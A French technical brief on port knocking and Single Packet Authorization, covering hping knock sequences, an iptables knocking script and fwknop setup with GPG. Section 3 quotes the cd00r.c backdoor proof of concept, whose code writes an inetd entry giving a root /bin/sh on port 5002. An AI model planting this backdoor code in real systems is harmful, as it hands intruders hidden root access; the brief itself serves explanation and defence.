|
|
 | |  |  | SPA : Single Packet Authorization |  |
par Stéphane Milani (27/11/07)
========================================================================
Single Packet Authorization (SPA)
========================================================================
Cette brève traite du Single Packet Authorization.
SPA est une méthode et une couche supplémentaire permettant d'établir
une connexion à une machine qui a ses ports fermés et d'ouvrir un port
voulu en envoyant un message SPA particulier.
SPA peut être considéré comme une forme dérivée du Port Knocking mais
les mécanismes utilisés sont sensiblement différents.
Cette brève n'a pas vocation à préconiser l'utilisation ou pas du SPA,
ce dernier pouvant être utilisé à bon ou mauvais escient, mais
simplement d'en expliquer brièvement le fonctionnement.
Aussi, les exemples utilisés ici s'appliquent pour un client et un
serveur se situant sur le même réseau local.
1-- Rappel du fonctionnement du Port Knocking
========================================================================
Ce concept consiste à frapper à une porte en utilisant une série spéciale
d'évènements afin de l'ouvrir.
Le Port Knocking est utilisé pour garder tous les ports fermés au public
et de pouvoir ouvrir ou fermer les ports aux utilisateurs qui ont
correctement utilisés une "knock" séquence particulière.
Typiquement, sur un système informatique, ceci consiste à atteindre
différents ports dans un ordre précis afin d'ouvrir un port voulu. Ce
dernier est donc fermé par un pare-feu tant qu'une "knock" séquence
particulière n'a pas été effectuée. Si un attaquant effectue un scan sur
le système, le port apparaîtra donc fermé bien que le service correspondant
soit en fonctionnement, le pare-feu effectuera tout simplement un
DROP tant que la bonne séquence n'a pas été effectuée.
Par exemple, pour un démon sshd écoutant sur le port TCP 22, nous
choisissons d'utiliser la "knock" séquence suivante en atteignant
successivement les port 36, 32 et 30.
Le port 22 sera donc ici ouvert par le pare-feu que si un utilisateur
initialise des connexions TCP dans le bon ordre sur les 3 ports
suivants : 36, 32 et 30.
knock ! knock ! knock !
Si un attaquant scan la machine avant que la "knock" séquence ne soit
effectuée, le port 22 apparait fermé et renvoie un RST/ACK :
$ sudo hping -S -p 22 192.70.106.78
HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes
len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=0.2 ms
[...]
Si un utilisateur frappe aux bons ports dans le bon ordre, ceci ouvre
alors le port 22 :
SYN
client ---------------------------> port TCP/36 du serveur
client ---------------------------> port TCP/32 du serveur
client ---------------------------> port TCP/30 du serveur
Exemple avec hping et l'envoi de paquets SYN :
$ sudo hping -S -c 1 -p 36 192.70.106.78
$ sudo hping -S -c 1 -p 32 192.70.106.78
$ sudo hping -S -c 1 -p 30 192.70.106.78
Idem avec nmap :
$ sudo nmap -sS -T Polite -p 36,32,30 -r 192.70.106.78
Une fois la séquence correcte effectuée, le port 22 est ouvert pour
une durée donnée et une adresse IP spécifique :
$ sudo hping -S -p 22 192.70.106.78
HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes
len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=SA seq=0 win=32792 rtt=0.2 ms
[...]
La machine renvoie bien un SYN/ACK, il est alors possible de
s'authentifier au serveur SSH. Pour toutes les autres adresses IP,
le port 22 apparaît toujours fermé.
Un attaquant pourra toutefois tenter une attaque par force brute afin
de dévouvrir les ports et la séquence corrects, mais cette attaque
sera détectée assez facilement compte-tenu de son caractère bruyant.
Pour une séquence TCP en 3 coups (ici les ports 36, 32 et 30), si
l'attaque porte sur les ports de 1 à 65535, ceci fait donc une valeur
de l'ordre de 65535 exposant 3, soit environ 281 billions de paquets
pour tester toutes les combinaisons possibles.
Bien que ceci ressemble à de la sécurité par l'obscurité, on comprend
aisément l'intérêt que peut avoir un attaquant à utiliser le Port
Knocking pour "obscurcir" sa backdoor (par exemple cd00r.c) et la cacher
aux administrateurs qui effectuent un scan de ports à distance de leurs
machines.
De même, un administrateur pourra être tenté de protéger des services,
ici sshd, contre d'éventuels vulnérabilités non patchées ou de type 0-days,
puisqu'un attaquant devra d'abord trouver la "knock" séquence particulière
lui donnant l'accès au port.
L'implémentation du Port Knocking utilise généralement les journaux du
pare-feu (par exemple ulogd de Netfilter) afin de savoir si un utilisateur
utilise la bonne séquence. Les accès en lecture aux journaux doivent donc
être particulièrement protégés. L'utilisation de la libpcap peut quelquefois
également être utilisée afin de capturer les paquets directement et
reconnaître la bonne séquence.
Le Port Knocking n'est pas utilisable pour des machines exécutant des
services publics tels que SMTP ou HTTP et ne peut être utilisé que pour
des machines fournissant des services à des utilisateurs autorisés qui
requièrent un accès continuel depuis n'importe quelle location (comme
SSH ou FTP).
2-- Exemple de script effectuant du Port Knocking avec iptables
========================================================================
Les 3 ports TCP 36, 32 et 30 choisis ici doivent être atteints
successivement sur un interval de moins de 10 secondes afin d'ouvrir
le port TCP 22 :
#!/bin/bash
i=/sbin/iptables ## binaire IPTables
sp=22 ## port qui sera ouvert une fois la séquence effectuée
p1=36 ## port à atteindre en premier
p2=32 ## port à atteindre en second
p3=30 ## port à atteindre en troisième
tot=10 ## time out in seconds
$i -N kc
$i -N kc1
$i -N kc2
$i -A INPUT -m state --state NEW -p tcp --dport $sp -m recent --rcheck \
--name portKnock --seconds $tot -j kc
$i -A INPUT -m state --state NEW -p tcp --dport $p1 -m recent --name portKnock2 \
--set -j DROP
$i -A INPUT -m state --state NEW -p tcp --dport $p2 -m recent --rcheck \
--name portKnock2 --seconds $tot -j kc1
$i -A INPUT -m state --state NEW -p tcp --dport $p3 -m recent --rcheck \
--name portKnock1 --seconds $tot -j kc2
$i -A kc -m recent --name portKnock --remove -j ACCEPT
$i -A kc1 -m recent --name portKnock2 --remove
$i -A kc1 -m recent --name portKnock1 --set -j DROP
$i -A kc2 -m recent --name portKnock1 --remove
$i -A kc2 -m recent --name portKnock --set -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 - 1] -m recent \
--name portKnock2 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 + 1] -m recent \
--name portKnock2 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 - 1] -m recent \
--name portKnock1 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 + 1] -m recent \
--name portKnock1 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 - 1] -m recent \
--name portKnock --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 + 1] -m recent \
--name portKnock --remove -j DROP
3-- Exemple de Port Knocking en C (issu du POC cd00r.c)
========================================================================
/* "knock" séquence particulière spécifiant les ports à atteindre afin
d'ouvrir un port voulu */
#define CDR_PORTS { 36,32,30,00 }
[...]
unsigned int cports[] = CDR_PORTS;
int cportcnt = 0;
/* which is the next required port ? */
int actport = 0;
/* Cette fonction est appelée quand la "knock" séquence est bien
celle voulue */
void cdr_open_door(void) {
FILE *f;
char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};
switch (fork()) {
case -1:
#ifdef DEBUG
printf("fork() failed !\n");
#endif DEBUG
return;
case 0:
/* To prevent zombies (inetd-zombies look quite stupid) we do
* a second fork() */
switch (fork()) {
case -1: _exit(0);
case 0: /*that's fine */
break;
default: _exit(0);
}
break;
default:
wait(NULL);
return;
}
if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
fprintf(f,"5002 stream tcp nowait root /bin/sh sh\n");
fclose(f);
execv("/usr/sbin/inetd",args);
#ifdef DEBUG
printf("Strange return from execvp() !\n");
#endif DEBUG
exit (0);
}
4-- SPA (Single Packet Authorization)
========================================================================
Single Packet Authorization et le Port Knocking utilisent tous les deux
un filtrage de paquets et collectent passivement de l'information.
Cependant, avec SPA, la "knock" séquence est encodée dans un seul paquet.
Aussi, SPA a plus de possibilités que le Port Knocking et permet de
contrecarrer les attaques par rejeu, permet d'envoyer plus de données,
est plus difficile à détecter par les IDS, il n'y a pas de "knock" séquence
particulière à effectuer sur les ports, et des protocoles qui n'ont pas
de notion de ports, tels que ICMP ou GRE, peuvent l'utiliser.
Une différence principale entre les deux méthodes est que, pour le Port
Knocking, la communication des informations s'effectue dans les en-têtes
des paquets, ce qui limite la quantité de données pouvant être
transférées. Les champs des en-têtes pour les ports TCP et UDP sont de
16 bits, ainsi seuls 2 octets d'informations peuvent être transférés
par paquet dans une "knock" séquence.
Aussi, si un attaquant capture cette séquence, il a donc la possibilité
d'ouvrir le port voulu. L'utilisation d'un algorithme de chiffrement
permet d'éviter cela. Cependant, un chiffrement par bloc symétrique,
avec par exemple une clé de 128 bits, force à envoyer au moins 8 paquets
si on a 2 octets par paquets. Avec SPA, le payload des paquets est
directement utilisé pour les données d'authentification.
Une présentation effectuée à BlackHat USA 2005 par MadHat Unspecific et
Simple Nomad illustre ce concept de SPA.
5-- Fwknop
========================================================================
La première implémentation de SPA a été réalisée en Mai 2005 par Michael
Rash avec le logiciel Fwknop (FireWall KNock OPerator). SPA fournit une
architecture similaire au Port Knocking, sauf au niveau de la
transmission des données qui s'effectue au niveau de la couche
applicative. Ceci implique qu'au lieu d'envoyer seulement 2 octets
de données par paquet, SPA est capable d'envoyer une taille de données
en fonction du MTU utilisé entre le client et le serveur (par exemple
1500 octets pour un réseau ethernet) et dans chaque paquet. Il est donc
possible de passer des commandes dans un seul paquet SPA qui seront
ensuite exécutées sur le serveur Fwknop.
Tous les messages SPA sont chiffrés, soit par l'algorithme de
chiffrement symétrique Rijndael, soit par une solution de cryptographie
asymétrique utilisant GPG avec l'algorithme ElGamal. L'intégrité des
messages est vérifiée par une somme de contrôle MD5 après que le
message ait été déchiffré.
Un client Fwknop fournit les informations suivantes dans chaque
message SPA : 16 octets de données aléatoires, le nom de l'utilisateur
local, le timestamp local, la version de Fwknop, le mode utilisé (accès
ou commande), l'accès désiré (ou la chaîne de commande), la somme MD5.
Les 16 octets aléatoires servent ici afin de faire en sorte que chaque
message SPA soit unique. Le serveur Fwknop maintient donc en cache les
messages pour tenter de bloquer les attaques par rejeu.
Une fois le paquet SPA reçu, le filtrage des paquets est reconfiguré
par Netfilter.
6-- Intégration de Fwknop avec Netfilter
========================================================================
Fwknop est compatible avec les règles Netfilter existantes et fournit
sa propre chaîne FWKNOP_INPUT.
Exemple de règle Netfilter utilisant la chaîne FWKNOP_INPUT :
Chain INPUT (policy DROP)
FWKNOP_INPUT all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
ACCEPT tcp -- 192.70.106.78 0.0.0.0/0 tcp dpt:22
ULOG udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:62201 ULOG copy_range 0 nlgroup 1 \
prefix `FWKNOP' queue_threshold 1
Chain FWKNOP_INPUT (1 references)
ACCEPT tcp -- * * 192.70.106.78 0.0.0.0/0 tcp dpt:22
Le port UDP 62201 est ici utilisé par défaut pour les messages SPA.
7-- Fichiers de configuration de Fwknop
========================================================================
Le fichier /etc/fwknop/fwknop.conf est le suivant :
EMAIL_ADDRESSES sm@hsc.fr;
AUTH_MODE PCAP;
PCAP_INTF eth0;
ENABLE_PCAP_PROMISC Y;
PCAP_FILTER udp port 62201;
PCAP_PKT_FILE /var/log/ulogd.pcap;
ENABLE_MD5_PERSISTENCE Y;
Le fichier /etc/fwknop/access.conf est le suivant :
SOURCE: ANY;
DATA_COLLECT_MODE: ULOG_PCAP;
OPEN_PORTS: tcp/22;
KEY: <encryptkey>;
GPG_HOME_DIR: /root/.gnupg;
GPG_DECRYPT_ID: serverkeyID;
GPG_DECRYPT_PW: <motdepasse>;
GPG_REMOTE_ID: clientkeyID;
FW_ACCESS_TIMEOUT: 10;
REQUIRE_USERNAME: sm;
8-- Utilisation de Fwknop
========================================================================
Un utilisateur ne peut pas établir une connexion au serveur sshd avant
d'avoir transmis le message SPA. Tous les paquets SYN sont donc droppés
par Netfilter avant l'accès à la pile TCP/IP :
[client]$ nc -v 192.70.106.78 22
Pour ouvrir le port ssh, un utilisateur doit d'abord envoyer le message
SPA via le client Fwknop :
[client]$ fwknop --Server-port 62201 -s -k 192.70.106.78
[+] Starting fwknop in client mode.
[+] Enter an encryption key. This key must match a key in the file
/etc/fwknop/access.conf on the remote system.
Encryption Key:
[+] Building encrypted single-packet authorization (SPA) message...
[+] Packet fields:
Random data: 5728567594694037
Username: sm
Timestamp: 1132122416
Version: 1.8.3
Action: 1 (access mode)
Access: 0.0.0.0,none,0
MD5 sum: e7c714f84f25c28eb3f9e4f6ef82d52d
[+] Sending 128 byte message to 192.70.106.78 over udp/62201...
Le serveur Fwknop reconfigure alors les règles Netfilter sur le
serveur pour permettre au client de dialoguer avec le serveur SSH.
Il est ensuite possible pour l'utilisateur de se connecter au port
TCP/22 et de s'authentifier avec son client ssh :
[client]$ nc -v 192.70.106.78 22
viewlexx.hsc.fr [192.70.106.78] 22 (ssh) open
SSH-2.0-OpenSSH_4.6p1 Debian-5
9-- Utilisation avec GPG
========================================================================
La paire de clés GPG sur le serveur peut être générée de la façon suivante :
$ gpg --gen-key
$ gpg -a --export serverkeyID > serveur-fwknop.asc
La clé publique du serveur doit ensuite être copiée sur le client.
Pour le client :
$ gpg --gen-key
$ gpg -a --export clientkeyID > client-fwknop.asc
La clé publique du client doit ensuite être copiée sur le serveur.
Les clés sont ensuite importées et signées.
Sur le client :
$ gpg --import serveur-fwknop.asc
$ gpg --edit-key serverkeyID
Command> sign
Sur le serveur :
$ gpg --import client-fwknop.asc
$ gpg --edit-key clientkeyID
Command> sign
Utilisation avec un client pour se connecter au serveur :
$ fwknop -A tcp/22 --gpg-recip serverkeyID --gpg-sign clientkeyID -a IPduClient -k IPduServeur
Une fois effectuée, Netfilter est alors reconfiguré et le client peut
alors se connecter en ssh au serveur :
$ ssh nomUtilisateur@IPduServeur
10-- Conclusion
========================================================================
Single Packet Authentication ajoute des fonctionnalités intéressantes au
Port Knocking. Contrairement à ce dernier qui peut générer des alertes
de scans de ports, SPA ne semble pas créer une empreinte réseau
suffisamment significative et peut ne pas être détectée par les IDS.
Pour rappel, le but de cette brève n'était pas de savoir si il s'agit
de sécurité par l'obscurité ou d'une nouvelle couche de défense en
profondeur, mais était simplement de présenter le concept du Single
Packet Authorization et de rappeler brièvement le fonctionnement du
Port Knocking.
11-- Références
========================================================================
- SPA: Single Packet Authentication
MadHat Unspecific et Simple Nomad - NMRC
http://www.dc414.org/download/confs/blackhat2005/BH_US_05_MADHATUNSPECIFIC_S.PDF
http://www.nmrc.org/dc13/bh2005-mh-sn-spa.ppt
http://dc214.unspecific.com/blackhat05/
- cd00r.c
FX of Phenoelit
http://www.phenoelit-us.org/stuff/cd00r.c
- An Analysis of Port Knocking and Single Packet Authorization
Sebastien Jeanquier
http://www.securethoughts.net/spa/
- Single Packet Authorization with Fwknop
Michael Rash
http://www.usenix.org/publications/login/2006-02/pdfs/rash.pdf
- Fwknop
http://www.cipherdyne.org/fwknop/
- Port Knocking
http://www.portknocking.org/
- Port Knocking with IPTables
http://www.neep.co.uk/index.php?tab=Projects&menu=Port%20Knocking
- iptables
http://www.netfilter.org/
- ulogd
http://netfilter.org/projects/ulogd/index.html
- libpcap
http://www.tcpdump.org/
- hping
http://www.hping.org/
- IANA ports numbers
http://www.iana.org/assignments/port-numbers
- Security through obscurity
http://www.catb.org/~esr/jargon/html/S/security-through-obscurity.html
========================================================================
Stéphane Milani - Hervé Schauer Consultants
========================================================================
|